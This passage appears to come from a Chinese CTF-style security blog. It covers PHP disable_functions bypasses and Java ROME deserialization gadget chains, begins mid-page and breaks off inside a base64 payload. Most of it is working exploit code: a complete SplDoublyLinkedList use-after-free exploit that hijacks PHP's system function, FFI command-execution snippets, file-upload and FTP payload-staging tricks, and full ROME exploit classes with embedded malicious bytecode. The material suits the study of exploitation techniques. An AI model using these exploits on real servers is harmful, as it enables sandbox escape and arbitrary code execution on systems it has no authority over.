}
?>

利用 SplDoublyLinkedList UAF

https://www.freebuf.com/articles/web/251017.html

PHP的SplDoublyLinkedList双向链表库中存在一个UAF漏洞,该漏洞将允许攻击者通过运行PHP代码来转义disable_functions限制函数。在该漏洞的帮助下,远程攻击者将能够实现PHP沙箱逃逸,并执行任意代码。更准确地来说,成功利用该漏洞后,攻击者将能够绕过PHP的某些限制,例如disable_functions和safe_mode等等。

  • PHP v7.4.10及其之前版本

  • PHP v8.0(Alpha)

例题:BMZCTF2020 - ezphp

exp: https://github.com/cfreal/exploits/blob/master/php-SplDoublyLinkedList-offsetUnset/exploit.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
<?php
#
# PHP SplDoublyLinkedList::offsetUnset UAF
# Charles Fol (@cfreal_)
# 2020-08-07
# PHP is vulnerable from 5.3 to 8.0 alpha
# This exploit only targets PHP7+.
#
# SplDoublyLinkedList is a doubly-linked list (DLL) which supports iteration.
# Said iteration is done by keeping a pointer to the "current" DLL element.
# You can then call next() or prev() to make the DLL point to another element.
# When you delete an element of the DLL, PHP will remove the element from the
# DLL, then destroy the zval, and finally clear the current ptr if it points
# to the element. Therefore, when the zval is destroyed, current is still
# pointing to the associated element, even if it was removed from the list.
# This allows for an easy UAF, because you can call $dll->next() or
# $dll->prev() in the zval's destructor.
#
#
error_reporting(E_ALL);
define('NB_DANGLING', 200);
define('SIZE_ELEM_STR', 40 - 24 - 1);
define('STR_MARKER', 0xcf5ea1);
function i2s(&$s, $p, $i, $x=8)
{
for($j=0;$j<$x;$j++)
{
$s[$p+$j] = chr($i & 0xff);
$i >>= 8;
}
}
function s2i(&$s, $p, $x=8)
{
$i = 0;
for($j=$x-1;$j>=0;$j--)
{
$i <<= 8;
$i |= ord($s[$p+$j]);
}
return $i;
}
class UAFTrigger
{
function __destruct()
{
global $dlls, $strs, $rw_dll, $fake_dll_element, $leaked_str_offsets;
#"print('UAF __destruct: ' . "\n");
$dlls[NB_DANGLING]->offsetUnset(0);
# At this point every $dll->current points to the same freed chunk. We allocate
# that chunk with a string, and fill the zval part
$fake_dll_element = str_shuffle(str_repeat('A', SIZE_ELEM_STR));
i2s($fake_dll_element, 0x00, 0x12345678); # ptr
i2s($fake_dll_element, 0x08, 0x00000004, 7); # type + other stuff
# Each of these dlls current->next pointers point to the same location,
# the string we allocated. When calling next(), our fake element becomes
# the current value, and as such its rc is incremented. Since rc is at
# the same place as zend_string.len, the length of the string gets bigger,
# allowing to R/W any part of the following memory
for($i = 0; $i <= NB_DANGLING; $i++)
$dlls[$i]->next();
if(strlen($fake_dll_element) <= SIZE_ELEM_STR)
die('Exploit failed: fake_dll_element did not increase in size');
$leaked_str_offsets = [];
$leaked_str_zval = [];
# In the memory after our fake element, that we can now read and write,
# there are lots of zend_string chunks that we allocated. We keep three,
# and we keep track of their offsets.
for($offset = SIZE_ELEM_STR + 1; $offset <= strlen($fake_dll_element) - 40; $offset += 40)
{
# If we find a string marker, pull it from the string list
if(s2i($fake_dll_element, $offset + 0x18) == STR_MARKER)
{
$leaked_str_offsets[] = $offset;
$leaked_str_zval[] = $strs[s2i($fake_dll_element, $offset + 0x20)];
if(count($leaked_str_zval) == 3)
break;
}
}
if(count($leaked_str_zval) != 3)
die('Exploit failed: unable to leak three zend_strings');
# free the strings, except the three we need
$strs = null;
# Leak adress of first chunk
unset($leaked_str_zval[0]);
unset($leaked_str_zval[1]);
unset($leaked_str_zval[2]);
$first_chunk_addr = s2i($fake_dll_element, $leaked_str_offsets[1]);
# At this point we have 3 freed chunks of size 40, which we can read/write,
# and we know their address.
print('Address of first RW chunk: 0x' . dechex($first_chunk_addr) . "\n");
# In the third one, we will allocate a DLL element which points to a zend_array
$rw_dll->push([3]);
$array_addr = s2i($fake_dll_element, $leaked_str_offsets[2] + 0x18);
# Change the zval type from zend_object to zend_string
i2s($fake_dll_element, $leaked_str_offsets[2] + 0x20, 0x00000006);
if(gettype($rw_dll[0]) != 'string')
die('Exploit failed: Unable to change zend_array to zend_string');
# We can now read anything: if we want to read 0x11223300, we make zend_string*
# point to 0x11223300-0x10, and read its size using strlen()
# Read zend_array->pDestructor
$zval_ptr_dtor_addr = read($array_addr + 0x30);
print('Leaked zval_ptr_dtor address: 0x' . dechex($zval_ptr_dtor_addr) . "\n");
# Use it to find zif_system
$system_addr = get_system_address($zval_ptr_dtor_addr);
print('Got PHP_FUNCTION(system): 0x' . dechex($system_addr) . "\n");
# In the second freed block, we create a closure and copy the zend_closure struct
# to a string
$rw_dll->push(function ($x) {});
$closure_addr = s2i($fake_dll_element, $leaked_str_offsets[1] + 0x18);
$data = str_shuffle(str_repeat('A', 0x200));
for($i = 0; $i < 0x138; $i += 8)
{
i2s($data, $i, read($closure_addr + $i));
}
# Change internal func type and pointer to make the closure execute system instead
i2s($data, 0x38, 1, 4);
i2s($data, 0x68, $system_addr);
# Push our string, which contains a fake zend_closure, in the last freed chunk that
# we control, and make the second zval point to it.
$rw_dll->push($data);
$fake_zend_closure = s2i($fake_dll_element, $leaked_str_offsets[0] + 0x18) + 24;
i2s($fake_dll_element, $leaked_str_offsets[1] + 0x18, $fake_zend_closure);
print('Replaced zend_closure by the fake one: 0x' . dechex($fake_zend_closure) . "\n");
# Calling it now
print('Running system("id");' . "\n");
$rw_dll[1]('id');
print_r('DONE'."\n");
}
}
class DanglingTrigger
{
function __construct($i)
{
$this->i = $i;
}
function __destruct()
{
global $dlls;
#D print('__destruct: ' . $this->i . "\n");
$dlls[$this->i]->offsetUnset(0);
$dlls[$this->i+1]->push(123);
$dlls[$this->i+1]->offsetUnset(0);
}
}
class SystemExecutor extends ArrayObject
{
function offsetGet($x)
{
parent::offsetGet($x);
}
}
/**
* Reads an arbitrary address by changing a zval to point to the address minus 0x10,
* and setting its type to zend_string, so that zend_string->len points to the value
* we want to read.
*/
function read($addr, $s=8)
{
global $fake_dll_element, $leaked_str_offsets, $rw_dll;
i2s($fake_dll_element, $leaked_str_offsets[2] + 0x18, $addr - 0x10);
i2s($fake_dll_element, $leaked_str_offsets[2] + 0x20, 0x00000006);
$value = strlen($rw_dll[0]);
if($s != 8)
$value &= (1 << ($s << 3)) - 1;
return $value;
}
function get_binary_base($binary_leak)
{
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++)
{
$addr = $start - 0x1000 * $i;
$leak = read($addr, 7);
# ELF header
if($leak == 0x10102464c457f)
return $addr;
}
# We'll crash before this but it's clearer this way
die('Exploit failed: Unable to find ELF header');
}
function parse_elf($base)
{
$e_type = read($base + 0x10, 2);
$e_phoff = read($base + 0x20);
$e_phentsize = read($base + 0x36, 2);
$e_phnum = read($base + 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = read($header + 0x00, 4);
$p_flags = read($header + 0x04, 4);
$p_vaddr = read($header + 0x10);
$p_memsz = read($header + 0x28);
if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
die('Exploit failed: Unable to parse ELF');
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = read($data_addr + $i * 8);
if($leak - $base > 0 && $leak < $data_addr) {
$deref = read($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = read($data_addr + ($i + 4) * 8);
if($leak - $base > 0 && $leak < $data_addr) {
$deref = read($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_system($basic_funcs)
{
$addr = $basic_funcs;
do {
$f_entry = read($addr);
$f_name = read($f_entry, 6);
if($f_name == 0x6d6574737973) { # system
return read($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
function get_system_address($binary_leak)
{
$base = get_binary_base($binary_leak);
print('ELF base: 0x' .dechex($base) . "\n");
$elf = parse_elf($base);
$basic_funcs = get_basic_funcs($base, $elf);
print('Basic functions: 0x' .dechex($basic_funcs) . "\n");
$zif_system = get_system($basic_funcs);
return $zif_system;
}
$dlls = [];
$strs = [];
$rw_dll = new SplDoublyLinkedList();
# Create a chain of dangling triggers, which will all in turn
# free current->next, push an element to the next list, and free current
# This will make sure that every current->next points the same memory block,
# which we will UAF.
for($i = 0; $i < NB_DANGLING; $i++)
{
$dlls[$i] = new SplDoublyLinkedList();
$dlls[$i]->push(new DanglingTrigger($i));
$dlls[$i]->rewind();
}
# We want our UAF'd list element to be before two strings, so that we can
# obtain the address of the first string, and increase is size. We then have
# R/W over all memory after the obtained address.
define('NB_STRS', 50);
for($i = 0; $i < NB_STRS; $i++)
{
$strs[] = str_shuffle(str_repeat('A', SIZE_ELEM_STR));
i2s($strs[$i], 0, STR_MARKER);
i2s($strs[$i], 8, $i, 7);
}
# Free one string in the middle, ...
$strs[NB_STRS - 20] = 123;
# ... and put the to-be-UAF'd list element instead.
$dlls[0]->push(0);
# Setup the last DLlist, which will exploit the UAF
$dlls[NB_DANGLING] = new SplDoublyLinkedList();
$dlls[NB_DANGLING]->push(new UAFTrigger());
$dlls[NB_DANGLING]->rewind();
# Trigger the bug on the first list
$dlls[0]->offsetUnset(0);

利用 FFI 扩展

PHP FFI(Foreign Function interface),提供了高级语言直接的互相调用,而对于PHP而言,FFI让我们可以方便的调用C语言写的各种库。

  • PHP >= 7.4

  • 开启了 FFI 扩展且ffi.enable=true

当PHP所有的命令执行函数被禁用后,通过PHP 7.4的新特性FFI可以实现用PHP代码调用C代码的方式,先声明C中的命令执行函数或其他能实现我们需求的函数,然后再通过FFI变量调用该C函数即可Bypass disable_functions

1
2
$ffi = FFI::cdef("int system(char* command);");   # 声明C语言中的system函数
$ffi -> system("ls / > /tmp/res.txt"); # 执行ls /命令并将结果写入/tmp/res.txt

C库的system函数调用shell命令,只能获取到shell命令的返回值,而不能获取shell命令的输出结果,如果想获取输出结果我们可以用popen函数来实现。popen()函数会调用fork()产生子进程,然后从子进程中调用 /bin/sh -c 来执行参数 command 的指令。

popen()会建立管道连到子进程的标准输出设备或标准输入设备,然后返回一个文件指针。随后进程便可利用此文件指针使用C库的fgetc等函数来读取子进程的输出设备或是写入到子进程的标准输入设备中。

1
2
3
4
5
6
7
8
$ffi = FFI::cdef("void *popen(char*,char*);void pclose(void*);int fgetc(void*);","libc.so.6");
$o = $ffi->popen("ls /","r");
$d = "";
while(($c = $ffi->fgetc($o)) != -1){
$d .= str_pad(strval(dechex($c)),2,"0",0);
}
$ffi->pclose($o);
echo hex2bin($d);

还可以利用FFI调用php源码,比如php_exec()函数就是php源码中的一个函数,当他参数type为3时对应着调用的是passthru()函数,其执行命令可以直接将结果原始输出

1
2
$ffi = FFI::cdef("int php_exec(int type, char *cmd);");
$ffi -> php_exec(3,"ls /");

文件传输的戏法

蚁剑直接传

要求fputs,fwrite函数不被禁用

使用文件操作函数

如使用base64配合fopen, fputs, fwrite, file_put_contents

1
file_put_contents("a.php",base64_decode($_POST['a']))

copy函数

1
copy("http://网址/文件", "文件保存路径");

move_uploaded_file函数,POST上传文件即可

1
move_uploaded_file($_FILES["file"]["tmp_name"], $_FILES["file"]["name"]);

FTP上传

server

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pyftpdlib.authorizers import DummyAuthorizer
from pyftpdlib.handlers import FTPHandler
from pyftpdlib.servers import FTPServer


authorizer = DummyAuthorizer()

authorizer.add_anonymous("./")

handler = FTPHandler
handler.authorizer = authorizer

handler.masquerade_address = "ip"
# 注意要用被动模式
handler.passive_ports = range(9998,10000)

server = FTPServer(("0.0.0.0", 23), handler)
server.serve_forever()

client

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
$local_file = '/tmp/exp.so';
$server_file = 'exp.so';
$ftp_server = 'xxxxx';
$ftp_port=23;

$ftp = ftp_connect($ftp_server,$ftp_port);

$login_result = ftp_login($ftp, 'anonymous', '');

ftp_pasv($ftp,1);

if (ftp_get($ftp, $local_file, $server_file, FTP_BINARY)) {
echo "Successfully written to $local_file\n";
} else {
echo "There was a problem\n";
}

ftp_close($ftp);

?>

使用XML相关类写文件

SimpleXMLElement

1
2
$xml = new SimpleXMLElement([xml-data]);
$xml->asXML([filename]);

DOMDocument

1
2
3
$d=new DOMDocument();
$d->loadHTML("[base64-data]");
$d->saveHtmlFile("php://filter/string.strip_tags|convert.base64-decode/resource=[filename]")

文件上传临时文件

文件被上传后,默认会被存储到服务端的默认临时目录中,该临时目录由php.ini的upload_tmp_dir属性指定,假如upload_tmp_dir的路径不可写,PHP会上传到系统默认的临时目录中,在上传存储到临时目录后,临时文件命名的规则如下: 默认为 php+4或者6位随机数字和大小写字母 php[0-9A-Za-z]{3,4,5,6},上传完成则删除

这里可以使用用glob伪协议去锁定临时文件

1
2
3
4
var_dump(scandir('/tmp'));
$a=scandir("glob:///tmp/php*");
$filename="/tmp/".$a[0];
var_dump($filename);

如果向我们的一句话木马POST的话,当然也可以使用以下代码来获取临时文件名

1
$_FILES['file']['tmp_name']

参考链接:

bypass disable_functions姿势总结 | netw0rker

PHP-Bypass-disable_function(使用.so等进行绕过disable_function) | Savant

php disable_functions绕过总结 | Ctrl_C+Ctrl_V’s Blog

Java安全之ROME反序列化

简介

ROME 是用于 RSS 和 Atom 订阅的 Java 框架。 并根据 Apache 2.0 许可证开源。ROME 包括一组用于各种形式的联合供稿的解析器和生成器,以及用于从一种格式转换为另一种格式的转换器。 解析器可以为您提供特定于您要使用的格式的 Java 对象,或者为您提供通用的规范化 SyndFeed 类,该类使您可以处理数据而不必担心传入或传出的提要类型。

关于RSS的介绍可以参考这篇文章https://zhuanlan.zhihu.com/p/349349861

测试环境

java version “1.8.0_111”

pom.xml

1
2
3
4
5
6
7
8
9
10
11
12
<dependencies>
<dependency>
<groupId>rome</groupId>
<artifactId>rome</artifactId>
<version>1.0</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.28.0-GA</version>
</dependency>
</dependencies>

利用原理

Rome提供了com.sun.syndication.feed.impl.ToStringBean这个类,提供深入的 toString 方法对 JavaBean 进行操作。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
public String toString() {
Stack stack = (Stack)PREFIX_TL.get();
String[] tsInfo = (String[])(stack.isEmpty() ? null : stack.peek());
String prefix;
if (tsInfo == null) {
String className = this._obj.getClass().getName();
prefix = className.substring(className.lastIndexOf(".") + 1);
} else {
prefix = tsInfo[0];
tsInfo[1] = prefix;
}

return this.toString(prefix);
}

private String toString(String prefix) {
StringBuffer sb = new StringBuffer(128);

try {
PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(this._beanClass);
if (pds != null) {
for(int i = 0; i < pds.length; ++i) {
String pName = pds[i].getName();
Method pReadMethod = pds[i].getReadMethod();
if (pReadMethod != null && pReadMethod.getDeclaringClass() != Object.class && pReadMethod.getParameterTypes().length == 0) {
Object value = pReadMethod.invoke(this._obj, NO_PARAMS);
this.printProperty(sb, prefix + "." + pName, value);
}
}
}
} catch (Exception var8) {
sb.append("\n\nEXCEPTION: Could not complete " + this._obj.getClass() + ".toString(): " + var8.getMessage() + "\n");
}

return sb.toString();
}

BeanIntrospector.getPropertyDescriptors(_beanClass) 获取到 _beanClass 中的任意 getter 方法,在获取完任意 getter 方法后,做了一系列基本的判断 —— 确保 getter 方法不为空,确保能够调用类的 getter 方法,确保 getter 方法含参数。满足所有判断后执行Object value = pReadMethod.invoke(this._obj, NO_PARAMS);也就实现了调用任意对象getter方法的能力。

因此如果有对象在反序列化过程中会调用任意对象的 toString 方法就可以调用其他任意对象的 getter 方法。例如在cc3链中讲到的TemplatesImpl利用链就是利用了TemplatesImpl#getOutputProperties()这个getter方法

Demo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.ToStringBean;

import javax.xml.transform.Templates;
import java.lang.reflect.Field;
import java.util.Base64;

public class ROME_toString {
public static void main(String[] args) throws Exception {
TemplatesImpl templatesimpl = new TemplatesImpl();

byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIwoABwAUBwAVCAAWCgAXABgKABcAGQcAGgcAGwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAcAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAHQEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAA8AEAEAEGphdmEvbGFuZy9TdHJpbmcBAAhjYWxjLmV4ZQcAHgwAHwAgDAAhACIBABN5c29zZXJpYWwvdGVzdC9ldmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAYABwAAAAAAAwABAAgACQACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAACwAMAAAABAABAA0AAQAIAA4AAgAKAAAAGQAAAAQAAAABsQAAAAEACwAAAAYAAQAAAA0ADAAAAAQAAQANAAEADwAQAAIACgAAADsABAACAAAAFyq3AAEEvQACWQMSA1NMuAAEK7YABVexAAAAAQALAAAAEgAEAAAADwAEABAADgARABYAEgAMAAAABAABABEAAQASAAAAAgAT");

setValue(templatesimpl, "_name", "whatever");
setValue(templatesimpl, "_bytecodes", new byte[][]{byteCode});
// 这里对_tfactory的反射赋值在反序列化链中可以不写这步,因为反序列化过程中TemplatesImpl#readObject()会对该值初始化,但Demo是直接调用toString()的
// _tfactory 需要是一个TransformerFactoryImpl对象
// 因为TemplatesImpl#defineTransletClasses()方法里有调用到 _tfactory.getExternalExtensionsMap()如果是null会出错
setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());

ToStringBean toStringBean = new ToStringBean(Templates.class, templatesimpl);
toStringBean.toString();
}

public static void setValue(Object obj, String name, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
}

利用链

那么就需要找一个反序列化过程中会调用任意对象toString方法的类啦,这里就存在蛮多,一一简单介绍一下

BadAttributeValueExpException利用链

在cc5链中就利用它反序列化中触发TiedMapEntry类的 toString 方法,这里也是类似的触发ToStringBean#toString()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);

if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.ToStringBean;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;

public class BadAttributeValueExpExceptionTest {
public static void setFieldValue(Object obj, String fieldname, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldname);
field.setAccessible(true);
field.set(obj, value);
}

public static void main(String[] args) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIwoABwAUBwAVCAAWCgAXABgKABcAGQcAGgcAGwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAcAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAHQEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAA8AEAEAEGphdmEvbGFuZy9TdHJpbmcBAAhjYWxjLmV4ZQcAHgwAHwAgDAAhACIBABN5c29zZXJpYWwvdGVzdC9ldmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAYABwAAAAAAAwABAAgACQACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAACwAMAAAABAABAA0AAQAIAA4AAgAKAAAAGQAAAAQAAAABsQAAAAEACwAAAAYAAQAAAA0ADAAAAAQAAQANAAEADwAQAAIACgAAADsABAACAAAAFyq3AAEEvQACWQMSA1NMuAAEK7YABVexAAAAAQALAAAAEgAEAAAADwAEABAADgARABYAEgAMAAAABAABABEAAQASAAAAAgAT");
setFieldValue(obj,"_name","whatever");
setFieldValue(obj,"_bytecodes",new byte[][]{code});
setFieldValue(obj,"_class",null);

ToStringBean bean = new ToStringBean(Templates.class, obj);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(123);
setFieldValue(badAttributeValueExpException,"val",bean);

//序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(badAttributeValueExpException);
oos.close();
System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));

//反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
}

ObjectBean利用链

这个利用链,是ROME链最初的原型

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
/**
*
* TemplatesImpl.getOutputProperties()
* NativeMethodAccessorImpl.invoke0(Method, Object, Object[])
* NativeMethodAccessorImpl.invoke(Object, Object[])
* DelegatingMethodAccessorImpl.invoke(Object, Object[])
* Method.invoke(Object, Object...)
* ToStringBean.toString(String)
* ToStringBean.toString()
* EqualsBean.beanHashCode()
* ObjectBean.hashCode()
* HashMap<K,V>.hash(Object)
* HashMap<K,V>.readObject(ObjectInputStream)
*
*
*/

康康EqualsBean类在哪调用的toString方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public EqualsBean(Class beanClass, Object obj) {
if (!beanClass.isInstance(obj)) {
throw new IllegalArgumentException(obj.getClass() + " is not instance of " + beanClass);
} else {
this._beanClass = beanClass;
this._obj = obj;
}
}

// ...

public int beanHashCode() {
return this._obj.toString().hashCode();
}

继续往上找哪里调用EqualsBean##beanhashCode(),可以找到ObjectBean#hashCode()

1
2
3
4
5
6
7
8
9
10
11
public ObjectBean(Class beanClass, Object obj, Set ignoreProperties) {
this._equalsBean = new EqualsBean(beanClass, obj);
this._toStringBean = new ToStringBean(beanClass, obj);
this._cloneableBean = new CloneableBean(obj, ignoreProperties);
}

// ...

public int hashCode() {
return this._equalsBean.beanHashCode();
}

而如何调用hashCode()在URLDNS链中就有讲解,这里利用HashMap#put()方法触发

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;

public class ObjectBeanTest {
public static void setFieldValue(Object obj, String fieldname, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldname);
field.setAccessible(true);
field.set(obj, value);
}

public static void main(String[] args) throws Exception {
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIwoABwAUBwAVCAAWCgAXABgKABcAGQcAGgcAGwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAcAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAHQEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAA8AEAEAEGphdmEvbGFuZy9TdHJpbmcBAAhjYWxjLmV4ZQcAHgwAHwAgDAAhACIBABN5c29zZXJpYWwvdGVzdC9ldmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1